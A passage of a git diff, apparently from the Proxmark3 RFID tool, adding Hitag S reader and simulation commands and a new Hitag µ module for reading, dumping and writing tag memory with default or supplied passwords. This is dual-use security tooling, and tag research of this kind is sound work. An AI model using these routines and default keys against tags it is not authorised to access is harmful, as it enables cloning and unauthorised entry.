return PM3_EINVARG; - } - - if (!key_len && use_crypto) { - memcpy(key, "ONMIKR", 6); - key_len = 6; - } - - // check coherence - uint8_t auth_methods = (use_plain + use_nrar + use_crypto); - if (auth_methods > 1) { - PrintAndLogEx(WARNING, "Specify only one authentication mode"); - return PM3_EINVARG; - } else if (auth_methods == 0) { - use_plain = true; - } - - lf_hitag_data_t packet; - memset(&packet, 0, sizeof(packet)); - packet.page = page; - memcpy(packet.data, data, sizeof(data)); - - if (use_nrar) { - packet.cmd = WHTSF_CHALLENGE; - memcpy(packet.NrAr, nrar, sizeof(packet.NrAr)); - } - - if (use_crypto) { - packet.cmd = WHTSF_KEY; - memcpy(packet.key, key, sizeof(packet.key)); - } + memcpy(packet.data, data, sizeof(packet.data)); clearCommandBuffer(); SendCommandNG(CMD_LF_HITAGS_WRITE, (uint8_t *) &packet, sizeof(packet)); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_LF_HITAGS_WRITE, &resp, 4000) == false) { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ETIMEOUT; } @@ -277,7 +933,7 @@ static int CmdLFHitagSWrite(const char *Cmd) { } if (resp.status != PM3_SUCCESS) { - PrintAndLogEx(FAILED, "Write ( " _RED_("fail") " )"); + print_error(resp.reason); return resp.status; } @@ -285,20 +941,80 @@ static int CmdLFHitagSWrite(const char *Cmd) { return PM3_SUCCESS; } +static int CmdLFHitagSReader(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "lf hitag hts reader", + "Act as a Hitag S reader. Look for Hitag S tags until Enter or the pm3 button is pressed\n", + "lf hitag hts reader\n" + "lf hitag hts reader -@ -> Continuous mode" + ); + + void *argtable[] = { + arg_param_begin, + arg_lit0("@", NULL, "continuous reader mode"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + bool cm = arg_get_lit(ctx, 1); + CLIParserFree(ctx); + + if (cm) { + PrintAndLogEx(INFO, "Press " _GREEN_("") " to exit"); + } + + do { + // read UID + uint32_t uid = 0; + if (hts_get_uid(&uid)) { + PrintAndLogEx(SUCCESS, "UID.... " _GREEN_("%08X"), uid); + } + } while (cm && (kbd_enter_pressed() == false)); + + return PM3_SUCCESS; +} + +static int CmdLFHitagSSim(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "lf hitag hts sim", + "Simulate Hitag S transponder\n" + "You need to `lf hitag hts eload` first", + "lf hitag hts sim\n" + "lf hitag hts sim --82xx\n" + "lf hitag hts sim -t 30 -> set threshold to 30"); + + void *argtable[] = { + arg_param_begin, + arg_lit0("8", "82xx", "simulate 8268/8310"), + arg_int0("t", "threshold", "", "set edge detect threshold (def: 127)"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + // bool use_82xx = arg_get_lit(ctx, 1); // not implemented yet + int threshold = arg_get_int_def(ctx, 2, 127); + CLIParserFree(ctx); + + clearCommandBuffer(); + SendCommandMIX(CMD_LF_HITAGS_SIMULATE, false, threshold, 0, NULL, 0); + return PM3_SUCCESS; +} + static int CmdLFHitagSList(const char *Cmd) { - return CmdTraceListAlias(Cmd, "lf hitag hts", "hitags"); + return CmdTraceListAlias(Cmd, "lf hitag hts", "hts"); } static command_t CommandTable[] = { - {"help", CmdHelp, AlwaysAvailable, "This help"}, - {"list", CmdLFHitagSList, AlwaysAvailable, "List Hitag S trace history"}, - { - "-----------", CmdHelp, IfPm3Hitag, "----------------------- " _CYAN_( - "General") " ------------------------" - }, - {"read", CmdLFHitagSRead, IfPm3Hitag, "Read Hitag S memory"}, - {"write", CmdLFHitagSWrite, IfPm3Hitag, "Write Hitag S page"}, - {NULL, NULL, 0, NULL} + {"help", CmdHelp, AlwaysAvailable, "This help"}, + {"list", CmdLFHitagSList, AlwaysAvailable, "List Hitag S trace history"}, + {"-----------", CmdHelp, IfPm3Hitag, "----------------------- " _CYAN_("General") " ------------------------"}, + {"reader", CmdLFHitagSReader, IfPm3Hitag, "Act like a Hitag S reader"}, + {"rdbl", CmdLFHitagSRead, IfPm3Hitag, "Read Hitag S page"}, + {"dump", CmdLFHitagSDump, IfPm3Hitag, "Dump Hitag S pages to a file"}, + {"restore", CmdLFHitagSRestore, IfPm3Hitag, "Restore Hitag S memory from dump file"}, + {"wrbl", CmdLFHitagSWrite, IfPm3Hitag, "Write Hitag S page"}, + {"-----------", CmdHelp, IfPm3Hitag, "----------------------- " _CYAN_("Simulation") " -----------------------"}, + {"sim", CmdLFHitagSSim, IfPm3Hitag, "Simulate Hitag S transponder"}, + {NULL, NULL, 0, NULL} }; static int CmdHelp(const char *Cmd) { @@ -311,44 +1027,3 @@ int CmdLFHitagS(const char *Cmd) { clearCommandBuffer(); return CmdsParse(CommandTable, Cmd); } - -hitags_config_t hitags_config_unpack(const uint8_t *config_bytes) { - hitags_config_t result = { - .memory_type = (config_bytes[0] >> 0) & 0x03, - .authentication = (config_bytes[1] >> 7) & 0x01, - .ttf_coding = (config_bytes[1] >> 6) & 0x01, - .ttf_data_rate = (config_bytes[1] >> 4) & 0x03, - .ttf_mode = (config_bytes[1] >> 2) & 0x03, - .lock_config = (config_bytes[1] >> 1) & 0x01, - .lock_key = (config_bytes[1] >> 0) & 0x01 - }; - return result; -} - -void hitags_config_print(hitags_config_t config) { - PrintAndLogEx(INFO, " Memory type...... " _GREEN_("%s"), - (const char *[]) { - "Hitag S 32", "Hitag S 256", "Hitag S 2048", - "Unknown Hitag S/8211" - }[config.memory_type]); - - PrintAndLogEx(INFO, " Authenticaion.... %s", config.authentication ? _YELLOW_("Yes") : "No"); - - PrintAndLogEx(INFO, " TTF coding....... %s", - (const char *[]) {"Manchester", "Biphase"}[config.ttf_coding]); - - PrintAndLogEx(INFO, " TTF data rate.... %s", - (const char *[]) { - "4 kBit", "8 kBit", "2 kBit", - "2 kBit and Pigeon Race Standard" - }[config.ttf_data_rate]); - - PrintAndLogEx(INFO, " TTF mode......... %s", - (const char *[]) { - "TTF Mode disabled (= RTF Mode)", "Page 4, Page 5", - "Page 4, Page 5, Page 6, Page 7", "Page 4" - }[config.ttf_mode]); - - PrintAndLogEx(INFO, " Config locked.... %s", config.lock_config ? _RED_("Yes") : _GREEN_("No")); - PrintAndLogEx(INFO, " Key/PWD locked... %s", config.lock_key ? _RED_("Yes") : _GREEN_("No")); -} diff --git a/client/src/cmdlfhitaghts.h b/client/src/cmdlfhitaghts.h index 7849d5f85..522096ea4 100644 --- a/client/src/cmdlfhitaghts.h +++ b/client/src/cmdlfhitaghts.h @@ -20,46 +20,12 @@ #define CMDLFHITAGS_H__ #include "common.h" +#include "hitag.h" -typedef struct { - enum { - HITAGS_MEMORY_32, - HITAGS_MEMORY_256, - HITAGS_MEMORY_2048, - HITAGS_MEMORY_UNKNOWN - } memory_type; - - bool authentication; - - enum { - HITAGS_CODING_MANCHESTER, - HITAGS_CODING_BIPHASE - } ttf_coding; - - enum { - HITAGS_DR_4KBIT, - HITAGS_DR_8KBIT, - HITAGS_DR_2KBIT, - HITAGS_DR_2KBIT_PIGEON - } ttf_data_rate; - - enum { - HITAGS_TTF_DISABLED, - HITAGS_TTF_PAGE45, - HITAGS_TTF_PAGE4567, - HITAGS_TTF_PAGE4 - } ttf_mode; - - bool lock_config; - bool lock_key; -} hitags_config_t; +void annotateHitagS(char *exp, size_t size, const uint8_t *cmd, uint8_t nbits, bool is_response); int CmdLFHitagS(const char *Cmd); -hitags_config_t hitags_config_unpack(const uint8_t *config_bytes); - -void hitags_config_pack(hitags_config_t config, uint8_t *out); - -void hitags_config_print(hitags_config_t config); +int read_hts_uid(void); #endif //CMDLFHITAGS_H__ diff --git a/client/src/cmdlfhitagu.c b/client/src/cmdlfhitagu.c new file mode 100644 index 000000000..59e72aebe --- /dev/null +++ b/client/src/cmdlfhitagu.c @@ -0,0 +1,734 @@ +//----------------------------------------------------------------------------- +// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// See LICENSE.txt for the text of the license. +//----------------------------------------------------------------------------- +// Low frequency Hitag µ support +//----------------------------------------------------------------------------- +#include "cmdlfhitagu.h" + +#include "cliparser.h" +#include "cmddata.h" // setDemodBuff +#include "cmdparser.h" // command_t +#include "cmdtrace.h" +#include "commonutil.h" +#include "comms.h" +#include "crc16.h" +#include "fileutils.h" // savefile +#include "graph.h" // MAX_GRAPH_TRACE_LEN +#include "hitag.h" +#include "hitag2/hitag2_crypto.h" +#include "lfdemod.h" +#include "pm3_cmd.h" // return codes +#include "protocols.h" // defines +#include "util_posix.h" // msclock +#include + +static int CmdHelp(const char *Cmd); + +uint8_t hitagu_CRC_check(uint8_t *d, uint32_t nbit) { + if (nbit < 9) { + return 2; + } + + return (Crc16(d, nbit, 0, CRC16_POLY_CCITT, false, false) == 0); +} + +void annotateHitagU(char *exp, size_t size, const uint8_t *cmd, uint8_t cmdsize, bool is_response) { + + if (is_response) { + + } else { + uint8_t flag = reflect8(cmd[0]) & 0x1F; + uint8_t command = ((reflect8(cmd[0]) >> 5) & 0x07) | ((reflect8(cmd[1]) & 0x07) << 3); + bool has_uid = false; + + size_t exp_len = snprintf(exp, size, "Flg:"); + + if ((flag & HITAGU_FLAG_PEXT) == HITAGU_FLAG_PEXT) { + exp_len += snprintf(exp + exp_len, size - exp_len, " PEXT"); + } + + if ((flag & HITAGU_FLAG_INV) == HITAGU_FLAG_INV) { + + exp_len += snprintf(exp + exp_len, size - exp_len, " INV"); + + if ((flag & HITAGU_FLAG_RFU) == HITAGU_FLAG_RFU) { + exp_len += snprintf(exp + exp_len, size - exp_len, " RFU"); + } + + if ((flag & HITAGU_FLAG_NOS) == HITAGU_FLAG_NOS) { + exp_len += snprintf(exp + exp_len, size - exp_len, " NOS"); + } + + } else { + + if ((flag & HITAGU_FLAG_SEL) == HITAGU_FLAG_SEL) { + exp_len += snprintf(exp + exp_len, size - exp_len, " SEL"); + } + + if ((flag & HITAGU_FLAG_ADR) == HITAGU_FLAG_ADR) { + exp_len += snprintf(exp + exp_len, size - exp_len, " ADR"); + has_uid = true; + } + } + + if ((flag & HITAGU_FLAG_CRCT) == HITAGU_FLAG_CRCT) { + exp_len += snprintf(exp + exp_len, size - exp_len, " CRCT"); + } + + exp_len += snprintf(exp + exp_len, size - exp_len, "|Cmd: "); + + switch (command) { + case HITAGU_CMD_LOGIN: { + + bool has_mfc = false; + + if (cmdsize == (6 + (has_uid * HITAGU_UID_SIZE)) || cmdsize == (8 + (has_uid * HITAGU_UID_SIZE))) { + + exp_len += snprintf(exp + exp_len, size - exp_len, "8265 LOGIN"); + + } else if (cmdsize == (7 + (has_uid * HITAGU_UID_SIZE)) || cmdsize == (9 + (has_uid * HITAGU_UID_SIZE))) { + + uint8_t mfc = 0; + concatbits(&mfc, 0, cmd, 5 + 6 + 8 + 32, 8, false); + exp_len += snprintf(exp + exp_len, size - exp_len, "LOGIN mfc:%02x ", mfc); + has_mfc = true; + } + + if (has_uid) { + uint8_t uid[HITAGU_UID_SIZE] = {0}; + concatbits(uid, 0, cmd, 5 + 6 + has_mfc * 8 + 32, HITAGU_UID_SIZE * 8, false); + exp_len += snprintf(exp + exp_len, size - exp_len, " uid:%s", sprint_hex_inrow(uid, HITAGU_UID_SIZE)); + } + + uint8_t password[HITAG_PASSWORD_SIZE] = {0}; + concatbits(password, 0, cmd, 5 + 6 + has_mfc * 8 + has_uid * HITAGU_UID_SIZE * 8, HITAG_PASSWORD_SIZE * 8, false); + exp_len += snprintf(exp + exp_len, size - exp_len, " pwd:%s", sprint_hex_inrow(password, HITAG_PASSWORD_SIZE)); + break; + } + case HITAGU_CMD_INVENTORY: { + exp_len += snprintf(exp + exp_len, size - exp_len, "INVENTORY"); + break; + } + case HITAGU_CMD_READ_MULTIPLE_BLOCK: { + uint8_t block_addr = 0; + concatbits(&block_addr, 0, cmd, 5 + 6, 8, false); + + uint8_t block_count = 0; + concatbits(&block_count, 0, cmd, 5 + 6 + 8, 8, false); + + exp_len += snprintf(exp + exp_len, size - exp_len, "READ MULTIPLE BLOCK start:%d num:%d" + , reflect8(block_addr) + , reflect8(block_count) + ); + break; + } + case HITAGU_CMD_WRITE_SINGLE_BLOCK: { + uint8_t block_addr = 0; + concatbits(&block_addr, 0, cmd, 5 + 6, 8, false); + + uint8_t block_data[4] = {0}; + concatbits(block_data, 0, cmd, 5 + 6 + 8, 32, false); + + exp_len += snprintf(exp + exp_len, size - exp_len, "WRITE SINGLE BLOCK start:%d data:[%s]" + , reflect8(block_addr) + , sprint_hex_inrow(block_data, 4) + ); + break; + } + case HITAGU_CMD_SELECT: { + exp_len += snprintf(exp + exp_len, size - exp_len, "SELECT"); + break; + } + case HITAGU_CMD_SYSINFO: { + exp_len += snprintf(exp + exp_len, size - exp_len, "GET SYSTEM INFORMATION"); + break; + } + case HITAGU_CMD_READ_UID: { + exp_len += snprintf(exp + exp_len, size - exp_len, "READ UID"); + break; + } + case HITAGU_CMD_STAY_QUIET: { + exp_len += snprintf(exp + exp_len, size - exp_len, "STAY QUIET"); + break; + } + default: { + exp_len += snprintf(exp + exp_len, size - exp_len, "Unknown 0x%02X", command); + break; + } + } + } +} + +static bool htu_get_uid(uint64_t *uid) { + clearCommandBuffer(); + SendCommandNG(CMD_LF_HITAGU_UID, NULL, 0); + PacketResponseNG resp; + if (WaitForResponseTimeout(CMD_LF_HITAGU_UID, &resp, 1500) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + return false; + } + + if (resp.status != PM3_SUCCESS) { + PrintAndLogEx(DEBUG, "DEBUG: Error - failed getting Hitag µ UID"); + return false; + } + + if (uid) { + *uid = bytes_to_num(resp.data.asBytes, HITAGU_UID_SIZE); + } + return true; +} + +int read_htu_uid(void) { + uint64_t uid = 0; + if (htu_get_uid(&uid) == false) { + return PM3_ESOFT; + } + + PrintAndLogEx(SUCCESS, "UID....... " _GREEN_("%012llX"), uid); + // PrintAndLogEx(SUCCESS, "TYPE...... " _GREEN_("%s"), htu_get_type_str(uid)); + return PM3_SUCCESS; +} + +static int process_hitagu_common_args(CLIParserContext *ctx, lf_hitag_data_t *const packet) { + bool use_82xx = arg_get_lit(ctx, 1); + bool use_password = false; + uint8_t key[HITAG_PASSWORD_SIZE]; + int key_len = 0; + + int res = CLIParamHexToBuf(arg_get_str(ctx, 2), key, HITAG_PASSWORD_SIZE, &key_len); + if (res != 0) { + return PM3_EINVARG; + } + + if (key_len != 0 && key_len != HITAG_PASSWORD_SIZE) { + PrintAndLogEx(WARNING, "Wrong KEY len expected 0 or 4, got %d", key_len); + return PM3_EINVARG; + } + + // complete options + if (key_len == 0 && use_82xx) { + memcpy(key, "\x00\x00\x00\x00", 4); + key_len = 4; + } else if (key_len != 0) { + use_password = true; + } + + memset(packet, 0, sizeof(*packet)); + + if (use_82xx) { + packet->cmd = HTUF_82xx; + memcpy(packet->pwd, key, sizeof(packet->pwd)); + PrintAndLogEx(INFO, "Authenticating to " _YELLOW_("Hitag µ") " in 82xx mode"); + + } else if (use_password) { + packet->cmd = HTUF_PASSWORD; + memcpy(packet->pwd, key, sizeof(packet->pwd)); + PrintAndLogEx(INFO, "Authenticating to " _YELLOW_("Hitag µ") " in password mode"); + + } else { + packet->cmd = HTUF_PLAIN; + memcpy(packet->pwd, key, sizeof(packet->pwd)); + PrintAndLogEx(INFO, "Access " _YELLOW_("Hitag µ") " in Plain mode"); + } + + return PM3_SUCCESS; +} + +static void print_error(int8_t reason) { + + //todo: USE ENUM OR DEFINES + switch (reason) { + case 0: { + PrintAndLogEx(INFO, "No data"); + break; + } + case -2: { + PrintAndLogEx(FAILED, "READ UID failed!"); + break; + } + case -3: { + PrintAndLogEx(FAILED, "Get System Information / Config failed!"); + break; + } + case -4: { + PrintAndLogEx(FAILED, "Login failed! Wrong password?"); + break; + } + case -5: { + PrintAndLogEx(FAILED, "No write access on block. Not authorized?"); + break; + } + case -6: { + PrintAndLogEx(FAILED, "Response CRC invalid!"); + break; + } + case -7: { + PrintAndLogEx(FAILED, "Read block failed!"); + break; + } + default: { + // PM3_REASON_UNKNOWN + PrintAndLogEx(FAILED, "Error - Hitag µ failed"); + break; + } + } +} + +static void hitagu_config_print(hitagu_config_t config) { + PrintAndLogEx(INFO, " Data Rate......... %s", (const char *[]) {"2 kbit/s", "4 kbit/s", "8 kbit/s", "Reserved"}[config.datarate]); + PrintAndLogEx(INFO, " Encoding.......... %s", config.encoding ? _YELLOW_("Bi-phase") : _YELLOW_("Manchester")); + PrintAndLogEx(INFO, " Password Protect W Bit 0-127(block 0-3) %s", config.pwdW0_127 ? _RED_("Yes") : _GREEN_("No")); + PrintAndLogEx(INFO, " Password Protect W Bit 128-511(block 4-15) %s", config.pwdW128_511 ? _RED_("Yes") : _GREEN_("No")); + PrintAndLogEx(INFO, " Password Protect W Bit 512-Max(block 16-Max) %s", config.pwdW512_max ? _RED_("Yes") : _GREEN_("No")); + PrintAndLogEx(INFO, " Password Protect RW Bit 512-Max(block 16-Max) %s", config.pwdRW512_max ? _RED_("Yes") : _GREEN_("No")); +} + +static void hitagu8265_config_print(hitagu82xx_config_t config) { + PrintAndLogEx(INFO, " Config Byte0: %s", sprint_hex((uint8_t *)&config, sizeof(config))); // for debug + // Check if datarate_override is set + if (config.datarate_override) { + PrintAndLogEx(INFO, " Data Rate........ %s", _YELLOW_("2 kbit/s")); + } else { + PrintAndLogEx(INFO, " Data Rate........ %s", + (const char *[]) {"2 kbit/s", "4 kbit/s", "8 kbit/s", "2 kbit/s"}[config.datarate]); + } + PrintAndLogEx(INFO, " Rate Override.... %s", config.datarate_override ? _RED_("Yes") : _GREEN_("No")); + PrintAndLogEx(INFO, " Encoding......... %s", config.encoding ? _YELLOW_("Bi-phase") : _YELLOW_("Manchester")); + + PrintAndLogEx(INFO, " TTF mode ........ %s", + (const char *[]) { + "Block 0, Block 1, Block 2, Block 3", + "Block 0, Block 1", + "Block 0, Block 1, Block 2, Block 3", + "Block 0, Block 1, Block 2, Block 3", + }[config.ttf_mode]); + PrintAndLogEx(INFO, " TTF.............. %s", config.ttf ? _GREEN_("Enabled") : _RED_("Disabled")); +} + +static int CmdLFHitagURead(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "lf hitag htu rdbl", + "Read Hitag µ memory.\n\n" + " 82xx password mode: \n" + " - default password 00000000\n", + " lf hitag htu rdbl -p 1 -> Hitag µ, plain mode\n" + " lf hitag htu rdbl -p 1 --82xx -> 82xx, password mode, def pass\n" + " lf hitag htu rdbl -p 1 --82xx -k 9AC4999C -> 82xx, password mode\n"); + + void *argtable[] = {arg_param_begin, + arg_lit0("8", "82xx", "82xx mode"), + arg_str0("k", "key", "", "pwd, 4 hex bytes"), + arg_int0("p", "page", "", "block address to read from (def: 0)"), + arg_int0("c", "count", "", "how many blocks to read. '0' reads all blocks (def: 1)"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + lf_hitag_data_t packet; + + if (process_hitagu_common_args(ctx, &packet) < 0) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + + uint32_t page = arg_get_int_def(ctx, 3, 0); + + if (page >= HITAGU_MAX_BLOCKS) { + PrintAndLogEx(WARNING, "Block address out-of-range. Max is 255, got %u", page); + return PM3_EINVARG; + } + + uint32_t count = arg_get_int_def(ctx, 4, 1); + + if (count > HITAGU_MAX_BLOCKS) { + PrintAndLogEx(WARNING, "No more than %d blocks can be read at once", HITAGU_MAX_BLOCKS); + return PM3_EINVARG; + } + + CLIParserFree(ctx); + + packet.page = page; + packet.page_count = count; + // packet.mode = 1; // for debug + + PrintAndLogEx(INFO, "Read Hitag µ memory block " _YELLOW_("%d") ", count " _YELLOW_("%d"), page, count); + + clearCommandBuffer(); + SendCommandNG(CMD_LF_HITAGU_READ, (uint8_t *)&packet, sizeof(packet)); + + PacketResponseNG resp; + if (WaitForResponseTimeout(CMD_LF_HITAGU_READ, &resp, 2000) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + SendCommandNG(CMD_BREAK_LOOP, NULL, 0); + return PM3_ETIMEOUT; + } + + if (resp.status != PM3_SUCCESS) { + print_error(resp.reason); + return PM3_ESOFT; + } + + lf_htu_read_response_t *card = (lf_htu_read_response_t *)resp.data.asBytes; + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "--- " _CYAN_("Tag Information") " ---------------------------"); + + int user_blocks; + uint8_t icr = card->icr; + + if (icr == HITAGU_ICR_STANDARD) { + user_blocks = HITAGU_MAX_PAGE_STANDARD; + PrintAndLogEx(INFO, "Hitag µ Standard (ICR=0x%02X), user blocks: 0x%02X", icr, user_blocks); + } else if (icr == HITAGU_ICR_ADVANCED) { + user_blocks = HITAGU_MAX_PAGE_ADVANCED; + PrintAndLogEx(INFO, "Hitag µ Advanced (ICR=0x%02X), user blocks: 0x%02X", icr, user_blocks); + } else if (icr == HITAGU_ICR_ADVANCED_PLUS) { + user_blocks = HITAGU_MAX_PAGE_ADVANCED_PLUS; + PrintAndLogEx(INFO, "Hitag µ Advanced+ (ICR=0x%02X), user blocks: 0x%02X", icr, user_blocks); + } else if (icr == HITAGU_ICR_8265) { + user_blocks = HITAGU_MAX_PAGE_8265; + PrintAndLogEx(INFO, "Hitag µ 8265 (ICR=0x%02X), user blocks: 0x%02X", icr, user_blocks); + } else { + user_blocks = HITAGU_MAX_PAGE_STANDARD; + PrintAndLogEx(INFO, "Unknown ICR (0x%02X)", icr); + } + + if (packet.cmd == HTUF_82xx || icr == HITAGU_ICR_8265) { + hitagu8265_config_print(card->config_page.s82xx); + } else { + hitagu_config_print(card->config_page.s); + } + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "--- " _CYAN_("Tag Data") " ---------------------------"); + PrintAndLogEx(INFO, " # | 00 01 02 03 | ascii | perm | info"); + PrintAndLogEx(INFO, "----+-------------+-------+------+------"); + + if (count == 0) { + count = (user_blocks > page) ? (user_blocks - page) : HITAGU_MAX_BLOCKS; + } + + for (int i = 0; i < count; ++i) { + + int page_addr = page + i; + if (page_addr >= HITAGU_MAX_BLOCKS) { + break; + } + + if (card->pages_reason[i] > 0) { + PrintAndLogEx(SUCCESS, "% 3u | %s | " NOLF, page_addr, sprint_hex_ascii(card->pages[i], HITAGU_BLOCK_SIZE)); + + // access right + // 82xx + if ((packet.cmd == HTUF_82xx || icr == HITAGU_ICR_8265) && page_addr != HITAGU_PASSWORD_PADR) { + PrintAndLogEx(NORMAL, _YELLOW_("RO ") NOLF); + } else if ((packet.cmd == HTUF_82xx || icr == HITAGU_ICR_8265) && page_addr == HITAGU_PASSWORD_PADR) { + PrintAndLogEx(NORMAL, _RED_("R/WP") NOLF); + // Hitag µ + } else if (page_addr < HITAGU_MAX_PAGE_STANDARD) { + + if (card->config_page.s.pwdW0_127) { + PrintAndLogEx(NORMAL, _RED_("RO ") NOLF); + } else { + PrintAndLogEx(NORMAL, _GREEN_("RW ") NOLF); + } + + } else if (HITAGU_MAX_PAGE_STANDARD <= page_addr && page_addr < HITAGU_MAX_PAGE_ADVANCED) { + + if (card->config_page.s.pwdW128_511) { + PrintAndLogEx(NORMAL, _RED_("RO ") NOLF); + } else { + PrintAndLogEx(NORMAL, _GREEN_("RW ") NOLF); + } + + } else if (HITAGU_MAX_PAGE_ADVANCED <= page_addr && page_addr < HITAGU_MAX_PAGE_ADVANCED_PLUS) { + + if (card->config_page.s.pwdRW512_max) { + PrintAndLogEx(NORMAL, _RED_("R/WP") NOLF); + } else { + + if (card->config_page.s.pwdW512_max) { + PrintAndLogEx(NORMAL, _RED_("RO ") NOLF); + } else { + PrintAndLogEx(NORMAL, _GREEN_("RW ") NOLF); + } + } + } else { + PrintAndLogEx(NORMAL, _YELLOW_("UNK ") NOLF); + } + + PrintAndLogEx(NORMAL, " | " NOLF); + + // info + if (page_addr == HITAGU_PASSWORD_PADR) { + PrintAndLogEx(NORMAL, "Password"); + } else if (page_addr == HITAGU_CONFIG_PADR) { + PrintAndLogEx(NORMAL, "Config"); + } else { + PrintAndLogEx(NORMAL, "Data"); + } + } else { + PrintAndLogEx(INFO, "% 3u | -- -- -- -- | .... | N/A | " NOLF, page_addr); + print_error(card->pages_reason[i]); + } + } + + PrintAndLogEx(INFO, "----+-------------+-------+------+------"); + PrintAndLogEx(INFO, " " _YELLOW_("RO") " = Read without password, write with password"); + PrintAndLogEx(INFO, " " _GREEN_("R/W") " = Read and write without password"); + PrintAndLogEx(INFO, " " _RED_("R/WP") " = Read and write with password"); + PrintAndLogEx(INFO, "----------------------------------------"); + return PM3_SUCCESS; +} + +static int CmdLFHitagUDump(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "lf hitag htu dump", + "Read all Hitag µ memory and save to file\n" + " 82xx password mode: \n" + " - default password 00000000\n", + "lf hitag htu dump --82xx -> use def pwd\n" + "lf hitag htu dump --82xx -k 9AC4999C -> pwd mode\n"); + + void *argtable[] = {arg_param_begin, + arg_lit0("8", "82xx", "82xx mode"), + arg_str0("k", "key", "", "pwd, 4 hex bytes"), + arg_str0("f", "file", "", "specify file name"), + arg_lit0(NULL, "ns", "no save to file"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, false); + + lf_hitag_data_t packet; + memset(&packet, 0, sizeof(packet)); + + if (process_hitagu_common_args(ctx, &packet) < 0) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + + int fnlen = 0; + char filename[FILE_PATH_SIZE] = {0}; + CLIParamStrToBuf(arg_get_str(ctx, 3), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen); + + bool nosave = arg_get_lit(ctx, 4); + CLIParserFree(ctx); + + // read all pages + packet.page = 0; + packet.page_count = 0; + + clearCommandBuffer(); + SendCommandNG(CMD_LF_HITAGU_READ, (uint8_t *)&packet, sizeof(packet)); + + PacketResponseNG resp; + if (WaitForResponseTimeout(CMD_LF_HITAGU_READ, &resp, 5000) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + return PM3_ETIMEOUT; + } + + if (resp.status != PM3_SUCCESS) { + print_error(resp.reason); + return PM3_ESOFT; + } + + lf_htu_read_response_t *card = (lf_htu_read_response_t *)resp.data.asBytes; + + int user_blocks; + uint8_t icr = card->icr; + + if (icr == HITAGU_ICR_STANDARD) { + user_blocks = HITAGU_MAX_PAGE_STANDARD; + PrintAndLogEx(INFO, "Hitag µ Standard (ICR=0x%02X), user blocks: 0x%02X", icr, user_blocks); + } else if (icr == HITAGU_ICR_ADVANCED) { + user_blocks = HITAGU_MAX_PAGE_ADVANCED; + PrintAndLogEx(INFO, "Hitag µ Advanced (ICR=0x%02X), user blocks: 0x%02X", icr, user_blocks); + } else if (icr == HITAGU_ICR_ADVANCED_PLUS) { + user_blocks = HITAGU_MAX_PAGE_ADVANCED_PLUS; + PrintAndLogEx(INFO, "Hitag µ Advanced+ (ICR=0x%02X), user blocks: 0x%02X", icr, user_blocks); + } else if (icr == HITAGU_ICR_8265) { + user_blocks = HITAGU_MAX_PAGE_8265; + PrintAndLogEx(INFO, "Hitag µ 8265 (ICR=0x%02X), user blocks: 0x%02X", icr, user_blocks); + } else { + user_blocks = HITAGU_MAX_PAGE_STANDARD; + PrintAndLogEx(INFO, "Unknown ICR (0x%02X)", icr); + } + + int mem_size = (user_blocks + 2) * HITAGU_BLOCK_SIZE; + + hitagu_config_t config = card->config_page.s; + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "--- " _CYAN_("Tag Information") " ---------------------------"); + hitagu_config_print(config); + + if (nosave) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "Called with no save option"); + PrintAndLogEx(NORMAL, ""); + return PM3_SUCCESS; + } + + if (fnlen < 1) { + char *fptr = filename; + fptr += snprintf(filename, sizeof(filename), "lf-htu-"); + FillFileNameByUID(fptr, card->uid, "-dump", HITAGU_UID_SIZE); + } + + pm3_save_dump(filename, (uint8_t *)card->pages, mem_size, jsfHitag); + + return PM3_SUCCESS; +} + +static int CmdLFHitagUWrite(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "lf hitag htu wrbl", + "Write a block in Hitag µ memory.\n" + " 82xx password mode: \n" + " - default password 00000000\n", + " lf hitag htu wrbl -p 6 -d 01020304 -> Hitag µ, plain mode\n" + " lf hitag htu wrbl -p 6 -d 01020304 --82xx -> use def pwd\n" + " lf hitag htu wrbl -p 6 -d 01020304 --82xx -k 9AC4999C -> 82xx, password mode\n"); + + void *argtable[] = {arg_param_begin, + arg_lit0("8", "82xx", "82xx mode"), + arg_str0("k", "key", "", "pwd, 4 hex bytes"), + arg_int1("p", "page", "", "block address to write to"), + arg_str1("d", "data", "", "data, 4 hex bytes"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, false); + + lf_hitag_data_t packet; + + if (process_hitagu_common_args(ctx, &packet) < 0) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + + int page = arg_get_int_def(ctx, 3, 0); + + uint8_t data[HITAGU_BLOCK_SIZE]; + int data_len = 0; + + int res = CLIParamHexToBuf(arg_get_str(ctx, 4), data, HITAGU_BLOCK_SIZE, &data_len); + if (res != 0) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + + CLIParserFree(ctx); + + packet.page = page; + memcpy(packet.data, data, sizeof(packet.data)); + + clearCommandBuffer(); + 